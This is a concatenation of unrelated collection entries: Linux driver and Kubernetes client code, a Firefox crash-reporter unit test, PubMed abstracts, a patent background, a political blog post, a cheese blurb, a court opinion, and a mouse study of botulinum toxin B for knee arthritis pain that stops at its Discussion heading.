if (!dip->stream) {
pr_err(KBUILD_MODNAME
": Failed to set up pvrusb2 v4l video dev"
" due to missing stream instance\n");
return;
}
break;
case VFL_TYPE_VBI:
dip->config = pvr2_config_vbi;
dip->minor_type = pvr2_v4l_type_vbi;
nr_ptr = vbi_nr;
break;
case VFL_TYPE_RADIO:
dip->stream = &vp->channel.mc_head->video_stream;
dip->config = pvr2_config_mpeg;
dip->minor_type = pvr2_v4l_type_radio;
nr_ptr = radio_nr;
break;
default:
/* Bail out (this should be impossible) */
pr_err(KBUILD_MODNAME ": Failed to set up pvrusb2 v4l dev"
" due to unrecognized config\n");
return;
}
memcpy(&dip->devbase,&vdev_template,sizeof(vdev_template));
dip->devbase.release = pvr2_video_device_release;
mindevnum = -1;
unit_number = pvr2_hdw_get_unit_number(vp->channel.mc_head->hdw);
if (nr_ptr && (unit_number >= 0) && (unit_number < PVR_NUM)) {
mindevnum = nr_ptr[unit_number];
}
if ((video_register_device(&dip->devbase,
dip->v4l_type, mindevnum) < 0) &&
(video_register_device(&dip->devbase,
dip->v4l_type, -1) < 0)) {
pr_err(KBUILD_MODNAME
": Failed to register pvrusb2 v4l device\n");
}
printk(KERN_INFO "pvrusb2: registered device %s%u [%s]\n",
get_v4l_name(dip->v4l_type), dip->devbase.num,
pvr2_config_get_name(dip->config));
pvr2_hdw_v4l_store_minor_number(vp->channel.mc_head->hdw,
dip->minor_type,dip->devbase.minor);
}
struct pvr2_v4l2 *pvr2_v4l2_create(struct pvr2_context *mnp)
{
struct pvr2_v4l2 *vp;
vp = kzalloc(sizeof(*vp),GFP_KERNEL);
if (!vp) return vp;
pvr2_channel_init(&vp->channel,mnp);
pvr2_trace(PVR2_TRACE_STRUCT,"Creating pvr2_v4l2 id=%p",vp);
vp->channel.check_func = pvr2_v4l2_internal_check;
/* register streams */
vp->dev_video = kzalloc(sizeof(*vp->dev_video),GFP_KERNEL);
if (!vp->dev_video) goto fail;
pvr2_v4l2_dev_init(vp->dev_video,vp,VFL_TYPE_GRABBER);
if (pvr2_hdw_get_input_available(vp->channel.mc_head->hdw) &
(1 << PVR2_CVAL_INPUT_RADIO)) {
vp->dev_radio = kzalloc(sizeof(*vp->dev_radio),GFP_KERNEL);
if (!vp->dev_radio) goto fail;
pvr2_v4l2_dev_init(vp->dev_radio,vp,VFL_TYPE_RADIO);
}
return vp;
fail:
pvr2_trace(PVR2_TRACE_STRUCT,"Failure creating pvr2_v4l2 id=%p",vp);
pvr2_v4l2_destroy_no_lock(vp);
return NULL;
}
/*
Stuff for Emacs to see, in order to encourage consistent editing style:
*** Local Variables: ***
*** mode: c ***
*** fill-column: 75 ***
*** tab-width: 8 ***
*** c-basic-offset: 8 ***
*** End: ***
*/
| {
"pile_set_name": "Github"
} |
Differential stimulatory effects of cannabinoids on VIP release and NO synthase activity in synaptosomal fractions from rat ileum.
Cannabinoid-1 (CB1) and CB2 receptors are present on neurons of the enteric nervous system. Our aim was to study whether cannabinoid receptor activation is involved in the regulation of VIP release and NO synthesis in isolated fractions of nerve terminals from rat ileum. VIP was measured by RIA and NO synthesis was analyzed using a L-[3H]arginine assay. Anandamide stimulated VIP release (basal: 245.9+/-12.4pg/mg, 10(-6)M: 307.6+/-11.7pg/mg, [n=6, P<0.05], 10(-7)M: 367.0+/-26.1pg/mg, [n=6, P<0.01]). The cannabinoid receptor agonist WIN 55,212-2 had similar effects (basal: 250.5+/-37.4pg/mg, 10(-6)M: 320.9+/-34.7pg/mg; [n=4, P<0.05]). The stimulatory effect of anandamide was blocked by the selective CB2 receptor antagonist, SR144528 (10(-7)M) (anandamide 10(-6)M: 307.6+/-11.7pg/mg; +SR144528: 249.0+/-26.3pg/mg, [n=6, P<0.05]), whereas the selective CB1 receptor antagonist SR141716 A had no effect. NO synthesis was stimulated by anandamide ([fmol/mg/min] basal: 0.08+/-0.01, 10(-6)M: 0.16+/-0.03; 10(-7)M: 0.13+/-0.02, n=4, P<0.05) and WIN 55,212-2 ([fmol/mg/min] basal: 0.05+/-0.01, 10(-6)M: 0.1+/-0.02, n=4, P<0.05). The anandamide reuptake inhibitor, AM 404 increased basal NOS activity ([fmol/mg/min] control: 0.1+/-0.04, 10(-6)M: 0.28+/-0.08, n=7, P<0.05). The stimulatory effect of anandamide on NO synthase was not antagonized by antagonists at the CB1, CB2 or TRPV1 receptor, respectively. In conclusion, in enteric nerves anandamide stimulates VIP release by activation of a CB2 receptor specific pathway, while the stimulation of NO production suggests the existence of an additional type of cannabinoid receptor in the enteric nervous system. | {
"pile_set_name": "PubMed Abstracts"
} |
1. Field of the Invention
The present invention relates generally to a computer-based method and apparatus for analyzing a thought system of a subject which consists of at least one individual, based on various and ambiguous items perceived by the subject. More particularly, the present invention is concerned with techniques for retrieving or extracting at least one essential axis of thought system, i.e., at least one essential vector of dimension of the thought system, which is not observed even by the subject.
2. Description of the Related Art
As is apparent from many experimental rules and results of experiments, a human consciousness includes a multidimensional and complicated thought system. More specifically described, the human thoughts usually, e.g., in a daily life, relate to various kinds of matters or items such as tasks, friends, families, schools, hobbies, money, past matters, future matters, and the like. Moreover, each of these items, e.g., a task is also concerned with many items such as management, perspective, profit-making, and the like, which items are complicatedly related with one another. In general, the human is likely to recognize these items in an unorganized form, rather than in an organized form. Particularly, the human may recognize these items such that these items are not completely independent from one another, but relate with one another by any specific factors. However, the human generally does not or cannot recognize these specific factors.
Due to the above-mentioned ambiguous recognition of the relationship between the perceived items, the individual is prone to fail in appropriate organization of his or her idea upon deciding his or her way of performance, or upon arranging his or her thoughts. This drawback has been widely recognized by experiences. To overcome this drawback, these has been proposed to perform “Manual” method one of which will be described by way of example. Namely, an individual initially picks up items based on his or her perception, and then classifies these items into the appropriate number of groups in accordance with a predetermined standard such as an importance-basis standard, and a character-basis standard. Each of the obtained groups may further be classified or may be combined with another group or the other groups together, as needed, whereby the perceived items are organized into appropriate groups.
The “Manual” method as described above, however, requires the predetermined standard prepared by the individual or others, for prosecution of the classification of the items, so that a results of the method is inevitably affected by the predetermined standard and the classification executed based on the predetermined standard, resulting in insufficient consequent of the method. In particular, there is known that an individual may recognize only a part of his or her thought system, and that the individual's thought system further includes subconscious thoughts which are ambiguously noted or are never recognized by the individuals. Accordingly, the “Manual” method merely allow the individual to classify the recognized items into the appropriate groups. That is, the method is merely provided for arranging the superficially recognized items, resulting in obtaining an insufficient result of the method. Further, when the obtained perceived items have the relatively large number, while being complicatedly correlated with one another, the manual classification of the perceived items on the basis of the predetermined standard is extremely cumbersome and difficult. Thus, this “Manual” method does not work practically to analyze or arrange the items of the individual's thought system.
In recent years, there has been developed a multivariate analysis as one of statistical methods for clarifying scientific phenomenon in which a large number of elements are complicatedly correlated with each other, and the application of this multivariate analysis to various kinds of fields has been considered. One example of the application of this multivariate analysis is disclosed in U.S. Pat. No. 4,839,853, wherein the multivariate analysis is used to classify various kinds of documents. The classification of the documents such as books is extremely complicated and difficult, if the contents of the documents are in great variety, leading to a failure in the classification. Therefore, a singular value decomposition, a kind of the multivariate analysis, is performed to analyze the documents based on a data of relationship information between titles of documents and a set of words occurring in more than one title, to thereby obtain a positional data of each of the documents which represent the position of the document on a virtual space. Thus, the documents are displayed in the virtual space according to the obtained positional data, permitting visual recognition of the relationship between the documents, and permitting objective classification of the documents based on this visual recognition.
There has been considered to apply the above-described singular value decomposition to analyze the human thought system which is complicated as described above. However, the conventional singular value decomposition requires two kinds of sets of variables which are clearly distinguishable from each other, e.g., a set of document titles and a set of words occurring in more than one title, as in the above-indicated example. With the two mutually distinguishable set of variables, a matrix is generated so that the analysis is desirably performed on the generated matrix. However, the human thought system may includes perceived items which are ambiguously correlated with each other and are accordingly considered as variables belonging to a single group. Since the conventional singular value decomposition requires clearly distinguishable two kinds of groups of items as described above, the ambiguously-related items of the human thought system are not suitable for the conventional singular value decomposition and the application of the singular value decomposition on the analysis of the human thought system in impractical. Thus, the those skilled in the art would never motivate to apply the singular value decomposition to analyzing the human thought system. | {
"pile_set_name": "USPTO Backgrounds"
} |
And, he’s quick to add, so should every other president of the past century. A fun clip for many reasons. One: Because Ayers is such a far-left caricature, you can bait him all day long knowing to a virtual certainty what his responses will be. The two RCP guys can’t suppress their smirks at how easy it is. There’s a 99 percent chance that he’s going to call O a war criminal and a one percent chance that he’s going to betray his anti-war ethos by defending O’s drone policy out of pure personal loyalty. Either way, it’s news. Two: It’ll never stop being amusing watching leftists express their disappointment in Hopenchange. Obama skeptics had to endure a lot of self-congratulatory piety and messianism from the other side in 2008. Five years later, the faithful are split between those like Ayers who see O as having betrayed The Cause and all the Democrats who’ve contorted themselves into supporting things like NSA surveillance chiefly out of partisan allegiance. They still believe in Hopenchange, it’s just a … different Hopenchange, one which requires collecting Americans’ phone and Internet data. No more messiah, whichever camp you’re in.
Three: The fact that Ayers is quick to mention O’s curiosity when asked what he likes about him is, knowingly or not, almost a goof on Jane Mayer and the liberal intelligentsia for giving Obama a pass on style points for his foreign-policy aggressiveness. As I said once before, it’s a straight line from David Brooks admiring the crease in O’s pants to Mayer et al. deciding that U.S. drones firing missiles at unknown people on the ground in Pakistan is kinda sorta okay because Obama’s smart, thoughtful, morally conflicted about all this, etc. He’s a well-educated, right-thinking liberal who has his stuff together. He’s a lot like them. They trust him. Ayers, at least, refuses to give O a pass on those grounds, although I leave it to you to judge from the clip how deeply troubled he is by Obama’s sins. (“I like him personally. I mean, he’s a really good guy.”) Four: Are we really watching a guy who got off scot-free for domestic terrorism, then crowed about it by declaring that he was “guilty as sin, free as a bird,” complain that someone else isn’t being sufficiently punished for terrorism? What?
Anyway, slow news day. Click the image to watch. | {
"pile_set_name": "OpenWebText2"
} |
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.fenix.crashes
import androidx.navigation.NavController
import androidx.navigation.NavDestination
import io.mockk.every
import io.mockk.mockk
import io.mockk.verify
import mozilla.components.browser.session.Session
import mozilla.components.lib.crash.Crash
import mozilla.components.support.test.ext.joinBlocking
import org.junit.Before
import org.junit.Test
import org.mozilla.fenix.R
import org.mozilla.fenix.components.Components
import org.mozilla.fenix.components.metrics.Event
import org.mozilla.fenix.utils.Settings
class CrashReporterControllerTest {
private lateinit var components: Components
private lateinit var crash: Crash
private lateinit var session: Session
private lateinit var navContoller: NavController
private lateinit var settings: Settings
@Before
fun setup() {
components = mockk(relaxed = true)
crash = mockk()
session = mockk()
navContoller = mockk(relaxed = true)
settings = mockk()
val currentDest: NavDestination = mockk()
every { navContoller.currentDestination } returns currentDest
every { currentDest.id } returns R.id.crashReporterFragment
}
@Test
fun `reports crash reporter opened`() {
CrashReporterController(crash, session, navContoller, components, settings)
verify { components.analytics.metrics.track(Event.CrashReporterOpened) }
}
@Test
fun `handle close and restore tab`() {
val controller = CrashReporterController(crash, session, navContoller, components, settings)
controller.handleCloseAndRestore(sendCrash = false)?.joinBlocking()
verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) }
verify { components.useCases.sessionUseCases.crashRecovery.invoke() }
verify { navContoller.popBackStack() }
}
@Test
fun `handle close and remove tab`() {
val controller = CrashReporterController(crash, session, navContoller, components, settings)
controller.handleCloseAndRemove(sendCrash = false)?.joinBlocking()
verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) }
verify { components.useCases.tabsUseCases.removeTab(session) }
verify { components.useCases.sessionUseCases.crashRecovery.invoke() }
verify {
navContoller.navigate(CrashReporterFragmentDirections.actionGlobalHome(), null)
}
}
@Test
fun `don't submit report if setting is turned off`() {
every { settings.isCrashReportingEnabled } returns false
val controller = CrashReporterController(crash, session, navContoller, components, settings)
controller.handleCloseAndRestore(sendCrash = true)?.joinBlocking()
verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) }
}
@Test
fun `submit report if setting is turned on`() {
every { settings.isCrashReportingEnabled } returns true
val controller = CrashReporterController(crash, session, navContoller, components, settings)
controller.handleCloseAndRestore(sendCrash = true)?.joinBlocking()
verify { components.analytics.crashReporter.submitReport(crash) }
verify { components.analytics.metrics.track(Event.CrashReporterClosed(true)) }
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1alpha1
import (
v1alpha1 "k8s.io/api/rbac/v1alpha1"
"k8s.io/client-go/kubernetes/scheme"
rest "k8s.io/client-go/rest"
)
type RbacV1alpha1Interface interface {
RESTClient() rest.Interface
ClusterRolesGetter
ClusterRoleBindingsGetter
RolesGetter
RoleBindingsGetter
}
// RbacV1alpha1Client is used to interact with features provided by the rbac.authorization.k8s.io group.
type RbacV1alpha1Client struct {
restClient rest.Interface
}
func (c *RbacV1alpha1Client) ClusterRoles() ClusterRoleInterface {
return newClusterRoles(c)
}
func (c *RbacV1alpha1Client) ClusterRoleBindings() ClusterRoleBindingInterface {
return newClusterRoleBindings(c)
}
func (c *RbacV1alpha1Client) Roles(namespace string) RoleInterface {
return newRoles(c, namespace)
}
func (c *RbacV1alpha1Client) RoleBindings(namespace string) RoleBindingInterface {
return newRoleBindings(c, namespace)
}
// NewForConfig creates a new RbacV1alpha1Client for the given config.
func NewForConfig(c *rest.Config) (*RbacV1alpha1Client, error) {
config := *c
if err := setConfigDefaults(&config); err != nil {
return nil, err
}
client, err := rest.RESTClientFor(&config)
if err != nil {
return nil, err
}
return &RbacV1alpha1Client{client}, nil
}
// NewForConfigOrDie creates a new RbacV1alpha1Client for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *RbacV1alpha1Client {
client, err := NewForConfig(c)
if err != nil {
panic(err)
}
return client
}
// New creates a new RbacV1alpha1Client for the given RESTClient.
func New(c rest.Interface) *RbacV1alpha1Client {
return &RbacV1alpha1Client{c}
}
func setConfigDefaults(config *rest.Config) error {
gv := v1alpha1.SchemeGroupVersion
config.GroupVersion = &gv
config.APIPath = "/apis"
config.NegotiatedSerializer = scheme.Codecs.WithoutConversion()
if config.UserAgent == "" {
config.UserAgent = rest.DefaultKubernetesUserAgent()
}
return nil
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *RbacV1alpha1Client) RESTClient() rest.Interface {
if c == nil {
return nil
}
return c.restClient
}
| {
"pile_set_name": "Github"
} |
Effects of veratridine on single neuronal sodium channels expressed in Xenopus oocytes.
(1) Chick neuronal Na+ channels were expressed in Xenopus laevis oocytes after injection with total messenger ribonucleic acid (mRNA) isolated from chick brain. The currents were investigated with the whole cell voltage clamp and with the patch clamp technique. Activation and inactivation of the induced current, and its sensitivity towards tetrodotoxin (TTX) and veratridine were reminiscent of vertebrate neuronal Na+ channels. (2) In the presence of veratridine normal single channel openings often converted into small amplitude openings of long duration. These small amplitude openings persisted for hundreds of milliseconds after return to the holding potential. (3) The slope conductance of the veratridine modified open channel state was 5-6 pS as compared to the normal state with 21-25 pS in the voltage range between -35 and +5 mV. (4) The modified channel showed saturation behaviour towards Na+ ions. Half saturation of the single channel amplitude was observed at 330 mM Na+ at a membrane potential of -100 mV. (5) Final closure of the modified channel after return to the holding potential followed an exponential time course. Its potential dependence was similar to that of the time course of the veratridine induced tail currents in the whole cell configuration. (6) The properties of the Na+ channel derived from chick forebrain are compared with the properties of the same channel derived from chick skeletal muscle. Both were expressed in the same membrane environment, the Xenopus oocyte plasma membrane. While earlier results with Na+ channels of muscle origin showed two channel populations, one with short and another with long mean open times, Na+ channels of neuronal origin were homogeneous and characterized by short open times. | {
"pile_set_name": "PubMed Abstracts"
} |
I may be a carnivore to the core, but I’m also a cheese lover. Thus, over the last seven days I’ve been trying some of Natural and Kosher‘s latest selections. These included: Horseradish Cheddar, Olive Cheddar, Part Skim Mozzarella, Goat Kashkaval, Sharp Goat Cheddar, Goat Mozzarella with Red Peppers, Goat Mozzarella with Fine Herbs, Cranberry Pecan Chèvre Goat Cheese, Fine Herbs Chèvre, 2 types of American Slices, Cheddar Cubes, Mexican Blend (Shredded blend of Monterrey Jack, Cheddar and Asadero) and a superb FitucciGrated Parmesan Cheese. I found them all to be delicious choices. Feeling adventurous I decided to do a white omelette. SYR had been telling me about an omelette without yolks, made with only the egg whites. What’s the point you ask? A drastic reduction in calories and the elimination of almost all the cholesterol with no sacrifice of taste! | {
"pile_set_name": "Pile-CC"
} |
UNPUBLISHED
UNITED STATES COURT OF APPEALS
FOR THE FOURTH CIRCUIT
No. 99-6747
NICHOLAS WARNER JONES, a/k/a Charles Jones,
Plaintiff - Appellant,
versus
THOMAS R. CORCORAN, Warden; DENNIS DUSING;
STEPHEN MACK; RICHARD A. LANHAM, SR.; LINWOOD
PERKINS, Captain; SERGEANT BELT, Commanding
Officer, III; E. SINGH, Commanding Officer,
II; LIEUTENANT HICKS; OFFICER YELITIN, Com-
manding Officer, II; OFFICER REECE, Commanding
Officer, II; SERGEANT ROBINSON; OFFICER WHITT,
Commanding Officer, II,
Defendants - Appellees.
Appeal from the United States District Court for the District of
Maryland, at Baltimore. Benson E. Legg, District Judge. (CA-98-
2468)
Submitted: July 22, 1999 Decided: July 27, 1999
Before ERVIN, HAMILTON, and TRAXLER, Circuit Judges.
Affirmed by unpublished per curiam opinion.
Nicholas Warner Jones, Appellant Pro Se. Angela Michelle Eaves,
Assistant Attorney General, Baltimore, Maryland, for Appellees.
Unpublished opinions are not binding precedent in this circuit.
See Local Rule 36(c).
PER CURIAM:
Nicholas Warner Jones appeals the district court’s order
granting Defendants’ motion for summary judgment and denying relief
on his 42 U.S.C.A. § 1983 (West Supp. 1999) complaint. We have
reviewed the record and the district’s opinion and find no revers-
ible error. Accordingly, we affirm on the reasoning of the dis-
trict court. See Jones v. Corcoran, No. CA-98-2468 (D. Md. May 24,
1999). We dispense with oral argument because the facts and legal
contentions are adequately presented in the materials before the
court and argument would not aid the decisional process.
AFFIRMED
2
| {
"pile_set_name": "FreeLaw"
} |
Introduction
============
There is an ongoing need for new therapies for refractory arthritis pain. Osteoarthritis-related joint pain is a major cause of physical limitation, disability, morbidity, and increased health care utilization for the more than 27 million Americans affected by osteoarthritis.[@b1-jpr-3-161],[@b2-jpr-3-161] Up to 80% of patients with osteoarthritis have movement limitation and 25% cannot perform major activities of daily living.[@b3-jpr-3-161] Up to 20% of the adult population is affected by chronic knee pain and associated disability, with 11% of adults with knee osteoarthritis needing help with personal care. Osteoarthritis of the knee is currently one of the five leading causes of disability among noninstitutionalized adults.[@b3-jpr-3-161]--[@b5-jpr-3-161] Additionally, 40% of adults with knee osteoarthritis reported their health as "poor" or "fair".[@b3-jpr-3-161]
The primary focus of osteoarthritis care is joint pain management because there are no disease modifying agents available for osteoarthritis. Goals of osteoarthritis treatment include improved pain control and maintenance or improvement of joint function. Currently available systemic analgesics have a significant risk of potentially serious side effects. Insufficient joint pain relief, intolerable drug side effects, and adverse drug interactions are limitations of available oral analgesics.[@b6-jpr-3-161],[@b7-jpr-3-161] Localized therapies with intra-articular corticosteroids and viscosupplementation are alternative pain control options, but effects and duration may be variable. Minimally invasive surgical intervention for patients failing systemic and local therapies includes arthroscopic lavage and debridement. However, there is increasing evidence that arthroscopic debridement outcomes may be no better than placebo procedures or optimized physical and medical therapy.[@b8-jpr-3-161],[@b9-jpr-3-161] Joint replacement for severe disabling degenerative arthritis pain carries significant surgical risks, and is often not an option for many patients due to comorbid medical conditions or advanced age. As average life expectancy continues to increase, the burden of disabling degenerative arthritis pain is anticipated to increase as well. Safe, effective, chronic arthritis pain treatment remains an unmet need for many patients, and represents a growing socioeconomic burden in an aging population.[@b10-jpr-3-161]
Osteoarthritis is characterized pathologically by bony outgrowths (osteophytes), changes in subchondral and marginal bone, bone marrow edema, and damage to articular cartilage surfaces, leading to loss of joint space and joint misalignment. Soft tissue changes include variable degrees of synovial inflammation, capsular thickening, and ligament laxity.[@b11-jpr-3-161],[@b12-jpr-3-161] The periosteum and subchondral and marrow bone are richly innervated with sensory fibers, but our current understanding of the cause of arthritis pain remains limited. Most chronic arthritis research and treatment has focused on the degenerative mechanisms and immunologic processes associated with progressive joint damage, rather than the pathogenesis of arthritis-induced pain. Studies of the mechanisms of pain in arthritis have shown that inflammation within joints causes both peripheral and central sensitization of neurons, with spontaneous joint pain at rest and hyperalgesia.[@b13-jpr-3-161] Given this peripheral sensitization, arthritis pain may be treated effectively by intra-articular neurotoxins. Reduction in arthritis pain following use of intra-articular botulinum toxin Type A (BoNT/A) in humans and in murine models of arthritis has been reported.[@b14-jpr-3-161]--[@b17-jpr-3-161] We hypothesized that botulinum toxin Type B (BoNT/B) would also reduce chronic arthritic knee pain. Intra-articular BoNT/B is another option for arthritis pain control that may be superior to other BoNT serotypes. To test this hypothesis, we measured the effect of intra-articular BoNT/B on arthritis pain in a murine model of chronic degenerative arthritis.
Methods
=======
Animal subjects
---------------
Forty C57B16 mice (Jackson Laboratories, Bar Habor, ME) aged 6--8 weeks old were used in this animal study which was approved by the Minneapolis Veterans Affairs Medical Center Institutional Animal Care and Utilization Committee. The animals were housed in groups of eight animals in the Animal Care and Research Facility at the Minneapolis Veterans Affairs Medical Center, a facility approved by the Association for Assessment and Accreditation of Laboratory Animal Care International. The care and studies of these animals were performed in accordance with the guidelines established in the Guide for the Care and Use of Laboratory Animals (The National Academies Press, USA).
Collagenase-induced chronic degenerative arthritis model
--------------------------------------------------------
Chronic arthritis pain was produced in 40 C57Bl6 mice by intra-articular injection of 10 IU Type IV collagenase (Worthington Biomedical Corporation, Lakeville, NJ) in 10 μL normal saline into the left knee. We used a 30 gauge needle with a customized sheath that limited depth of needle penetration to 2.5 mm. The injection was performed through the midline of the patellar tendon just inferior to the patella to ensure accurate entry into the articular space of the knee. Prior to injection, the area was shaved and sterilized with alcohol and animals were anesthetized with isofluorane inhalation. Arthritis was evaluated four weeks after intra-articular collagenase injection. Mice were evaluated for spontaneous pain behavior, evoked pain behavior, and safety using a battery of standardized measures described below. The timepoints for behavioral testing were prior to and after induction of arthritis, and after treatment of arthritis pain.
Spontaneous pain behavior: measurement of gait impairment
---------------------------------------------------------
Visual gait analysis was performed by walking the animals on a motorized treadmill (Columbus Instruments, Columbus, OH) at a constant speed of 17 cm/sec for a total time of 20 seconds. Gait was evaluated visually and graded semiquantitatively on a scale of 0--4 as a consensus score among three experienced examiners. Gait was defined as normal (4) if the animal was easily able to maintain a consistent speed while walking on the treadmill. Scores of 3, 2, and 1 were given for minimal, moderate, and significant gait impairment, respectively ([Table 1](#t1-jpr-3-161){ref-type="table"}).
Evoked pain behavior: measurement of joint tenderness
-----------------------------------------------------
Evoked pain behavior (tenderness) was measured by tallying fights (kicks, attempts to break from restraint) and vocalizations for one minute in response to repeated firm palpation of the knee. A single examiner performed all examinations and was blinded as to treatment group assignment. A Palpometer^®^ (Palpometer Systems, Inc., Victoria, BC) was used to train the examiner to apply consistent and precise firm pressure, defined as a level of 4 on the Palpometer (1100 gf/cm^2^ = 15.6 psi). Pressure of this magnitude was high enough to elicit a significant pain response from arthritic joints, but not from normal joints. Both the right (normal) and left knee (arthritic) were examined, with the right knee serving as an internal control. The normal right knee was always examined first. In preliminary experiments with tenderness testing, our group found slightly elevated tenderness scores in the nonarthritic knee when the arthritic knee was examined first.
Safety
------
Systemic adverse effects were assessed by observing for anorexia, dehydration, hunched posture, poor grooming, coat changes, or other evidence of poor animal well-being. Given botulinum toxin's known effects of muscle weakness, strength was measured at baseline before induction of arthritis pain, four weeks after intra-articular injection of collagenase (arthritic state), and after intra-articular treatments. Change in muscle strength was measured by the ability to grasp a wire grid against resistance and cling to it while inverted. Grasp ability was tested by applying traction to the animal's tail parallel to the wire grid. Cling ability was tested by inverting the mouse on the wire grid three times with tail held down to wire grid. Both grasp and cling ability were graded on a 0--4 scale. A score of 0 represented inability to grasp or cling to the wire grid. A score of 4 represented a strong grip against resistance and no instability with inversion ([Tables 2](#t2-jpr-3-161){ref-type="table"} and [3](#t3-jpr-3-161){ref-type="table"}).
Intra-articular neurotoxin and controls
---------------------------------------
Four weeks following intra-articular injection of 10 IU collagenase into the left knee, 17 animals were treated with intra-articular BoNT/B (Myobloc^®^, Solstice Neurosciences Inc., South San Francisco, CA) 0.02 IU in 5 μL of normal saline into the arthritic left knee. Gait assessment, joint tenderness, and strength examinations were performed three days following intra-articular BoNT/B to allow time for the toxin to take effect. Control groups consisted of arthritic animals treated with either intra-articular normal saline or a sham injection to the left knee at the four-week time point. Seven animals received 5 μL or 10 μL intra-articular normal saline and eight animals received sham injections. Gait impairment assessment, joint tenderness, and strength examinations were performed three days following intra-articular normal saline or sham injections.
Histologic examination of normal and arthritic knees
----------------------------------------------------
Following conclusion of the study, right (normal) and left (arthritic) knees of representative animals were examined for histologic evidence of degenerative arthritis. The animals were humanely euthanized using C0~2~ gas and secondary exsanguination. Right and left lower extremities were dissected. Articular specimens were fixed in 10% buffered formalin for 24 hours and decalcified in 10% ethylenediamine tetraacetic acid for two weeks before paraffin embedding. Paraffin-embedded specimens were then sectioned and stained with hematoxilyn and eosin.
Statistical methods
-------------------
The unpaired Student's t-test was used to compare groups, ie, prior to induction of arthritis, arthritic, treated, and normal right knee values. Comparisons were made between normal, arthritic, BoNT/B-treated arthritic, and saline-treated arthritic controls using unpaired Student's t-tests. The significance level was selected at a *P* value of 0.05.
Results
=======
Pain behaviors following induction of arthritis by intra-articular collagenase
------------------------------------------------------------------------------
Arthritis was successfully induced in 40 mice by intra-articular injection of 10 IU collagenase in 10 μL normal saline into the left knee. Animals were examined four weeks after intra-articular collagenase for development of arthritis. Significant alterations in gait due to arthritis pain was demonstrated by decline in visual gait score from 3.50 (SEM = 0.076) to 2.36 (SEM = 0.112), *P* \< 0.0001. Evoked pain behavior scores induced by palpation of the painful arthritic knee were increased significantly, from a baseline total score of 1.83 (SEM = 0.405) to 7.23 (SEM = 0.953, *P* \< 0.0001, [Figure 1](#f1-jpr-3-161){ref-type="fig"}).
Effects of intra-articular BoNT/B on pain behavior measures following induction of arthritis
--------------------------------------------------------------------------------------------
Seventeen mice with collagenase-induced arthritis pain of the left knee were treated at four weeks with intra-articular injection of 0.02 IU BoNT/B in 5 μL normal saline into the affected knee. Animals were examined three days following intra-articular BoNT/B to allow time for appearance of botulinum effects. There were significant improvements in both spontaneous pain behavior measures (visual gait impairment scores) and evoked pain behaviors (joint tenderness to palpation scores). Visual gait analysis score improved by 43% (*P* = 0.0419), and the evoked pain response score decreased by 49.5% (*P* = 0.0134) following intra-articular BoNT/B ([Figure 1](#f1-jpr-3-161){ref-type="fig"}).
Effects of intra-articular normal saline and sham injections following induction of arthritis
---------------------------------------------------------------------------------------------
Treatment control groups included seven arthritic mice receiving either 5 or 10 μL intra-articular normal saline into the left knee, and eight arthritic mice receiving sham injections into the left knee at four weeks following intra-articular collagenase. Animals were examined three days following either normal saline or sham injections and compared with untreated arthritic animals (n = 40). There were no significant changes in spontaneous pain behavior scores or evoked pain behavior scores in these control animals. No significant change in visual gait analysis score was noted following either intra-articular normal saline or sham injections (*P* = 0.225 and *P* = 0.1921, respectively). Evoked pain response scores following intra-articular normal saline or sham injections did not change significantly (*P* = 0.9043 and *P* = 0.5355, respectively, [Figure 1](#f1-jpr-3-161){ref-type="fig"}).
Normal right knee controls
--------------------------
Throughout all stages of this study the right knee was a normal, nonarthritic internal control. After induction of arthritis, evoked pain behavior response score in the contralateral knee increased from a baseline mean of 0.83 (SEM = 0.208) to 2.65 (SEM = 0.728. *P* = 0.0083).
Safety
------
Grasp and cling strength were measured to monitor safety because of the known effects of muscle weakness caused by botulinum toxins. Strength was measured at baseline, after development of arthritis, and in the post-treatment state. Strength was evaluated by measuring ability to grasp and cling. Forty mice were examined at baseline and four weeks following intra-articular collagenase (arthritic state). Strength assessment showed a significant decline in both measures following induction of arthritis pain, prior to treatment with intra-articular BoNT/B. Grasp scores declined 34% from a baseline score of 3.83 (SEM = 0.120) to 2.53 (SEM = 0.155, *P* \< 0.0001). Cling scores also declined 34% from a baseline score of 3.67 (SEM = 0.129) to 2.43 (SEM = 0.168, *P* = 0.0003). After induction of arthritis and three days following intra-articular BoNT/B into the left knee, grasp scores improved 22% (n = 17, *P* = 0.0704), cling scores improved 23% (n = 17, *P* = 0.2752), although not reaching statistical significance in this small study. The seven animals that received intra-articular normal saline injections had no significant change in grasp or cling scores compared with the arthritic state (*P* = 0.3964 and *P* = 0.7457 respectively, [Figure 2](#f2-jpr-3-161){ref-type="fig"}). Eight animals that received sham injections had no change in grasp (*P* = 0.5637), but did have a significant decrease in ability to cling (*P* = 0.0019). No signs of anorexia, dehydration, hunched posture, poor grooming, coat changes, or other evidence of poor animal well-being were noted in any animals at any point during the study.
Histologic examination of normal and arthritic knees
----------------------------------------------------
Following conclusion of the study, right (normal) and left (arthritic) knees of representative animals were examined for histologic evidence of degenerative arthritis. Hematoxilyn and eosin staining of knees revealed irregularities and thinning of articular cartilage and early osteophyte formation compared with normal knees, ie demonstrating changes consistent with osteoarthritis ([Figures 3](#f3-jpr-3-161){ref-type="fig"} and [4](#f4-jpr-3-161){ref-type="fig"}).
Discussion
==========
